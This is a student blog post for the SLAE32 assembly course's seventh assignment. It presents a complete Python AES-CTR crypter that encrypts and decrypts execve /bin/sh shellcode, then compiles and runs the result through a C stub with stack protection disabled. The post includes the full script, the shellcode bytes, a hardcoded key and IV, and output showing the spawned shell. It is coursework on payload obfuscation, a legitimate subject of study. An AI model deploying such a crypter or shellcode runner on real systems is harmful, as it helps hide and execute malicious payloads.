SLAE32

This post introduces the7 th and last mission to my SLAE32 journey.

A different task as decided to work with python3 and the majority of the work was dealing with convertion types between encrypting and decrypting the shellcode.

Introduction

The SLAE32 7th assignment purpose is to create a custom crypter having as reference the one shown in the crypter lesson..

For this task there are no special requirements:

  • Can use any existing encryption schema
  • Can use any programming language

I decided to to have a simpler approach to this task and not goign as much detail as previous assignments. They were hard and felt like having cryptography in the assembly world I should make things more complex than they need to be.

Crypter

For the encryption scheme I used AES in CTR mode. I used the script made for the custom encoder /decoder assignment as a reference.

For the shellcode I used the execve stack shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Let’s see the crypter script.

#!/usr/bin/python3

# AES CTR-mode shellcode crypter

import argparse
import secrets
import sys
import string
import pyaes
import binascii
import os


secretsGenerator = secrets.SystemRandom()

c_style_shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") # bin/sh

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
encrypted_shellcode = "\xee\x61\x71\x58\x31\xe4\xa0\x9b\x61\x40\xef\x89\x34\xa2\xd7\x0d\x9f\x76\x71\x5a\x97\x77\xe4\x7f\xe0" # encrypted shellcode
                        
iv =86225370279291231266238124133917033753321926857843067389263155507994576978348

def banner():

    print('''
        
        ________________________________________________________
         <The "AEShellCrypter" - Encrypt your shellcode with AES >
        --------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\\
                    ||----w |
                    ||     ||       
        
         ''')

#----------------------------


class Crypter:

    def randomKeyGenerator(self):
        alphabet = string.ascii_letters + string.digits + string.punctuation
        key = ''.join(secrets.choice(alphabet) for i in range(16))
        return str.encode(key) 


    def __init__(self,key=None):
        
        if key is not None:
            self.key = str.encode(key)
            print("[*] Key Provided. Doing magic with it")
        else:
            self.key = self.randomKeyGenerator()
            print("[*] Doing magic with a (pseudo) Random key")
        print("[*] Key: "+self.key.decode())

    def encrypt(self, shellcode):
        #iv = secrets.randbits(256) # for random IV
        aes = pyaes.AESModeOfOperationCTR(self.key, pyaes.Counter(iv))
        crypted_shellcode = aes.encrypt(shellcode)

        print("IV: "+str(iv))

        #print('Encrypted:', crypted_shellcode)

        final_shellcode = ""
        for crypted_shellbyte in bytearray(crypted_shellcode):

            final_shellcode += '\\x' + '%02x' % crypted_shellbyte # \x format

        # print encrypted shellcode in c-style format
        print()
        print(final_shellcode)


    def decrypt(self, final_shellcode):
        print("Decrypted")
        final_shellcode = bytes(final_shellcode, encoding="raw_unicode_escape")

        aes = pyaes.AESModeOfOperationCTR(self.key, pyaes.Counter(iv))
        decrypted_shellcode = aes.decrypt(final_shellcode)

        original_shellcode = ""
        for shellbyte in bytearray(decrypted_shellcode):
            original_shellcode += '\\x' + '%02x' % shellbyte # \x format

        return original_shellcode

        #print(binascii.hexlify(bytearray(final_shellcode.replace("\\x","").encode())))
        

def executeShellcode(original_shellcode):
    

    file = open("shellcode.c", "w")
    file.write('''
        #include<stdio.h>
        #include<string.h>

        unsigned char code[] = \"''' + original_shellcode + '''";

        void main() {

            printf(\"Shellcode Length:  %d\\n\", strlen(code));

            int (*ret)() = (int(*)())code;

            ret();

        }'''
    )
    file.close()
    os.system("gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode 2>/dev/null")
    os.system("./shellcode")


def main():
   
    
    #shellcode = bytearray(c_style_shellcode)
    #print("[*] Shellcode length: "+str(len(shellcode))+"\n")
    #print("[*] Shellcode: "+str(c_style_shellcode)+"\n")

    print("[*] Encrypted Shellcode length: "+str(len(shellcode))+"\n")
    print("[*] Encrypted Shellcode: "+str(c_style_shellcode)+"\n") #  dynamic c-style use bytes(final_shellcode, encoding="raw_unicode_escape")



    # -------------------KEY-------------- 
    key = "B6*D+/5DQ$MFn<T{"    # example key
    #key = None
    #####################################

    crypter = Crypter(key);
    crypter.encrypt(shellcode)
    original_shellcode = crypter.decrypt(encrypted_shellcode)
    executeShellcode(original_shellcode)


if __name__ == '__main__':

    banner() # displays the program banner
    main()
    print("\n--------------------")
    print("[*] Hack the World!")
    print("--------------------")
    print()
    print()

For AES CTR mode we need to take attention to the iv and key of the encryption process because they are a must for the decryption process.

Basically this for encryption does the following:

  • accepts shellcode in \x format - shellcode variable;
  • generates a pseudorandom key and iv or uses one provided by the user - key and iv variables;
  • prints the shellcode in \x format

All this process is manual by the time of writing this post. The shellcode, iv and encrypted shellcode are hardcoded.

For the decryption process:

  • Just prepared the encrypted shellcode (encrypted_shellcode variable) for decryption as it receives a bytes object;
  • Use the encryption iv and key to decrypt the shellcode;

Then, appends the decrypted shellcode to a shellcode.c program, compiles it with gcc and executes it.

Executing the python Crypter:

╭─edu@debian ~/Desktop/slae_x86/assignments/7-Custom_Crypter ‹main●› 
╰─$ python3 aesCrypter.py

        
        ________________________________________________________
         <The "AEShellCrypter" - Encrypt your shellcode with AES >
        --------------------------------------------------------
            \   ^__^
            \   (oo)\_______
                (__)\       )\/\
                    ||----w |
                    ||     ||       
        
         
[*] Encrypted Shellcode length: 25

[*] Encrypted Shellcode: b'1\xc0Ph//shh/bin\x89\xe3P\x89\xe2S\x89\xe1\xb0\x0b\xcd\x80'

[*] Key Provided. Doing magic with it
[*] Key: B6*D+/5DQ$MFn<T{
IV: 86225370279291231266238124133917033753321926857843067389263155507994576978348

\xee\x61\x71\x58\x31\xe4\xa0\x9b\x61\x40\xef\x89\x34\xa2\xd7\x0d\x9f\x76\x71\x5a\x97\x77\xe4\x7f\xe0
Decrypted
Shellcode Length:  25
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$ 

--------------------
[*] Hack the World!
--------------------

We get a shell!!!

Improving this script is a future work to be performed. Working with different types in Python is a tiem consuming task and requires some hability to handle.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86